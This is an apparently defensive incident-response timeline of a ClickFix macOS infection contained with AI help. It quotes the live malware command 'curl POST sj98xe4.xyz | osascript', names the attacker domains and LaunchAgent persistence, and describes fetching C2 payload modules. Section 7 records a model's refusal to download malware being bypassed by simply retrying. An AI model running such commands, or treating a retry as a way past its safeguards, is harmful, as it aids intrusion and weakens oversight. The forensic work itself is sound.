WikifitaGitHub live67e8de5
pesquisa · clickfix/clickfix-incident-response

ClickFix — Incident Response (AI-Assisted)

160-second detection-to-containment. AI-assisted forensic investigation. The refusal problem. 711 events across 5 hours.

Baixar raw

ClickFix — Incident Response (AI-Assisted)

Minute-by-minute reconstruction of the 160-second containment and the subsequent forensic investigation. AI-assisted in real time — 711 events across 5 hours.

See also: clickfix-handoff | clickfix-attack-chain | clickfix-iocs


1. The Critical Number: 2 Minutes 40 Seconds

MetricValue
First alert → AI response1 second
Alert → Malicious process identified16 seconds
Alert → LaunchAgent persistence found101 seconds
Alert → System declared clean160 seconds (2m40s)
Alert → Password theft realized164 seconds
Alert → Full forensic chain revealed~24 minutes

Benchmarks:

  • Average enterprise SOC time-to-detect: 207 minutes (Ponemon 2025)
  • Average enterprise SOC time-to-contain: 70 minutes (Ponemon 2025)
  • This incident: 2 minutes 40 seconds — 26x faster

2. Phase 1: Detection & Containment (160 seconds)

AI model: Claude Opus 4.6 (via Antigravity 2)

Time (UTC)ElapsedEvent
14:50:280sUser sends urgent alert — pasted clipboard content into Terminal, Keychain dialog appeared
14:50:29+1sAI identifies malware, decodes base64 payload, instructs: "Click Deny on ANY Keychain popup immediately"
14:50:44+16sMalicious process found: sh -c curl POST sj98xe4.xyz | osascript
14:50:54+26sFirst process killed (kill -9)
14:51:19+51sProcesses respawning — persistence mechanism recognized
14:51:39+71sAI identifies: "probably a LaunchAgent or login item"
14:52:09+101sLaunchAgent discovered: com.luhbmchzztkfbxao.plist
14:52:30+122sConfirmed KeepAlive: true, RunAtLoad: true
14:52:40+132sLaunchAgent unloaded, plist removed
14:52:45+137sProcesses finally dead — no respawn
14:52:53+145sArtifacts found: ~/.txid, ~/.passphrase
14:53:08+160sSYSTEM CLEAN

The Keychain Defense Window (14:50:29 – 14:51:36)

The most critical 67 seconds. A fake "System Preferences" dialog was actively displayed, requesting the root password. The AI's immediate instruction — "Click Deny on ANY Keychain popup" — was delivered before the user could type their password into the fake dialog. The 1-second response time may have been the difference between a contained incident and full account compromise.


3. Phase 2: Password Theft Realization (13 minutes)

Time (UTC)Event
14:53:12User realizes: the dialog was fake — "that was my root password"
14:53:42MAXIMUM EMERGENCY — password stolen and POSTed to sj98xe4.xyz
14:53:53No SSH backdoors, no new users, no sudoers tampering found
14:54:11"No evidence the malware used the password for privilege escalation"
15:06:15Password rotated. Chain-of-trust link revealed: github.com/redhat-developer/lsp4ij

The attacker received the password but had not yet used it when it was rotated 13 minutes later. The 60-second polling interval and the fact that the fake dialog was still waiting for input when killed created an exploitation window that closed before damage occurred.


4. Phase 3: Forensic Investigation (10 minutes)

Time (UTC)Event
15:06:15Full context revealed: ClickFix, chain-of-trust, lsp4ij
15:07:04Payload decoded from base64
15:07:38User grants forensic access: "invoke sudo, I'll approve with TouchID"
15:10:40Safari History.db accessed via alternative path
15:11:13FOUND THE ORIGINidetools.dev visit in Safari history
15:11:39BINGO — Full redirect chain: idetools.devsessionaquirecheck.pages.dev → clipboard
15:14:49Complete redirect chain exposed
15:15:01All Safari visits confirmed: today only — no prior infection
15:16:22"You had NO prior malware."

5. Phase 4: Documentation & Deep-Dive (~2 hours)

AI models: Gemini 3.1 Pro (planning, with refusals) → Claude Opus 4.6 (execution)

Time (UTC)Event
19:23:25System cleaned, ready for documentation
19:34:16SOCKS5 proxy integration for safe C2 interaction
19:38:25MODEL REFUSAL — AI refuses to download malicious payload
19:39:31Same request retried — model then complies (safety inconsistency)
19:46:24Assessment: "APT-level" — not a commodity campaign
19:54:57Full chain fetched end-to-end
20:02:25simulate_full_chain.py created — Playwright reenactment
20:28:07fetch_stage4.py created
20:30:23All 4 modules fetched: smodule (195KB), lmodule (168KB), ledger (stub), shell
20:31:05Modules decoded and saved to analysis/
20:35–21:28Full repo construction: 7 technical docs, simulation scripts, threat intel model

6. AI Model Performance

Claude Opus 4.6

  • Response time: 1 second from user alert
  • Decisions: Immediate malware identification, Keychain denial instruction, persistence discovery, full containment
  • Hesitations: None
  • Rating: Exceptional

Gemini 3.1 Pro

  • Response time: Variable (planning phase)
  • Decisions: Refused forensic payload download at 19:38:25, then complied on retry
  • Hesitations: Safety guardrail triggered on legitimate forensic request
  • Rating: Inconsistent

7. The Refusal Problem

At 19:38:25, Gemini 3.1 Pro refused to download the malicious payload for forensic analysis:

"Sorry, I cannot fulfill your request. This appears to involve downloading malware..."

The same request was retried moments later and the model complied. This inconsistency highlights a gap in safety guardrails: the boundary between "analyzing malware" (legitimate security research) and "using malware" (malicious intent) is not consistently enforced.

Impact: The refusal delayed forensic documentation by ~1 minute. In a time-critical incident, such delays compound. Safety guardrails tuned for the general population actively hinder expert security practitioners.


8. Strategic Turning Points

Turning PointSignificance
Keychain Defense WindowAI's 1-second response prevented password entry into fake dialog
Persistence Whack-a-MoleKeepAlive: true meant killing processes was insufficient — required LaunchAgent unload
Blockchain C2 DiscoveryRevealed the BDDR technique — domain takedowns alone are ineffective
Threat Intelligence ModelShifted from "contained incident" to "longitudinal observation of active APT"

9. Lessons Learned

  1. AI-assisted IR is viable — 160-second containment vs. 70-minute industry average
  2. Speed of first instruction matters — "Click Deny" delivered in 1 second was the critical intervention
  3. Safety guardrails can hinder — Model refusal on legitimate forensic requests creates operational friction
  4. Persistence ≠ process — KeepAlive means kill is not remediation; unload the LaunchAgent first
  5. Chain-of-trust attacks are supply chain attacks — Expired domains in trusted repositories are permanent risks

Source: redhat-clickfix-report/docs/08_incident_timeline.md